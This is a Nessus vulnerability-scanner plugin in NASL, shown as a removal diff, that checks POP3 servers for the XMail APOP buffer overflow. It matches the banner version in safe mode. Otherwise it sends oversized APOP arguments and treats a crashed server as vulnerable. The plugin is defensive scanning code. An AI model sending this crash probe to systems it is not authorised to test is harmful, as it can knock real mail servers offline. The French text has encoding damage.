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- #
- # This script was written by Renaud Deraison <deraison@cvs.nessus.org>
- #
- # See the Nessus Scripts License for details
- #
-
- if(description)
- {
- script_id(10559);
- script_bugtraq_id(1652);
- script_version ("$Revision: 1.13 $");
- script_cve_id("CAN-2000-0841");
- name["english"] = "XMail APOP Overflow";
- name["francais"] = "DΘpassement de buffer APOP dans XMail";
- script_name(english:name["english"], francais:name["francais"]);
-
- desc["english"] = "The remote POP3 server seems
- to be subject to a buffer overflow when it receives
- two arguments which are too long for the APOP command.
-
- This problem may allow an attacker to disable this
- POP server or to execute arbitrary code on this
- host.
-
- Solution : Contact your vendor for a patch
- Risk factor : High";
-
-
- desc["francais"] = "
- Le serveur POP3 distant semble etre vulnΘrable α un problΦme
- de dΘpassement de buffer lorsqu'il recoit deux arguments trop longs
- α la commande APOP.
-
- Ce problΦmez peut permettre α un pirate d'executer du code
- arbitraire sur ce serveur ou bien de dΘsactiver le serveur POP
- α distance.
-
- Solution : Contactez votre vendeur pour un patch
- Facteur de risque : ElevΘ";
-
- script_description(english:desc["english"], francais:desc["francais"]);
-
- summary["english"] = "Attempts to overflow the APOP command";
- summary["francais"] = "Essaye de trop remplir les buffers de la commande APOP";
- script_summary(english:summary["english"], francais:summary["francais"]);
-
- script_category(ACT_MIXED_ATTACK); # mixed
-
-
- script_copyright(english:"This script is Copyright (C) 2000 Renaud Deraison",
- francais:"Ce script est Copyright (C) 2000 Renaud Deraison");
- family["english"] = "Gain root remotely";
- family["francais"] = "Passer root α distance";
- script_family(english:family["english"], francais:family["francais"]);
- script_dependencie("find_service.nes", "qpopper.nasl");
- script_exclude_keys("pop3/false_pop3");
- script_require_ports("Services/pop3", 110);
- exit(0);
- }
-
- #
- # The script code starts here
- #
-
- fake = get_kb_item("pop3/false_pop3");
- if(fake)exit(0);
- port = get_kb_item("Services/pop3");
- if(!port)port = 110;
-
- if(safe_checks())
- {
- banner = get_kb_item(string("pop3/banner/", port));
- if(!banner)
- {
- soc = open_sock_tcp(port);
- if(!soc)exit(0);
- banner = recv_line(socket:soc, length:4096);
- }
-
- if(!banner)exit(0);
-
- if(ereg(pattern:".*[xX]mail.*", string:banner))
- {
- if(ereg(pattern:"[^0-9]*0\.(([0-4][0-9])|(5[0-8]))[^0-9]*.*"))
- {
- desc = "
- The remote server is XMail, prior to version 0.59.
- This version is vulnerable to a buffer overflow in
- the APOP command which allows anyone to execute
- arbitrary commands on this system.
-
- *** Nessus reports this vulnerability using only
- *** information that was gathered. Use caution
- *** when testing without safe checks enabled.
-
- Solution : Contact your vendor for a patch
- Risk factor : High";
-
- security_hole(port:port, data:desc);
- }
- }
- exit(0);
- }
-
-
- if(get_port_state(port))
- {
- soc = open_sock_tcp(port);
- if(soc)
- {
- d = recv_line(socket:soc, length:1024);
- if(!d){close(soc);exit(0);}
- c = string("APOP ", crap(2048), " ", crap(2048), "\r\n");
- send(socket:soc, data:c);
- r = recv_line(socket:soc, length:1024);
- if(!r){
- security_hole(port);
- exit(0);
- }
- close(soc);
- soc = open_sock_tcp(port);
- if(!soc)security_hole(port);
- else {
- r = recv_line(socket:soc, length:1024);
- if(!r)security_hole(port);
- close(soc);
- }
-
- }
- }
-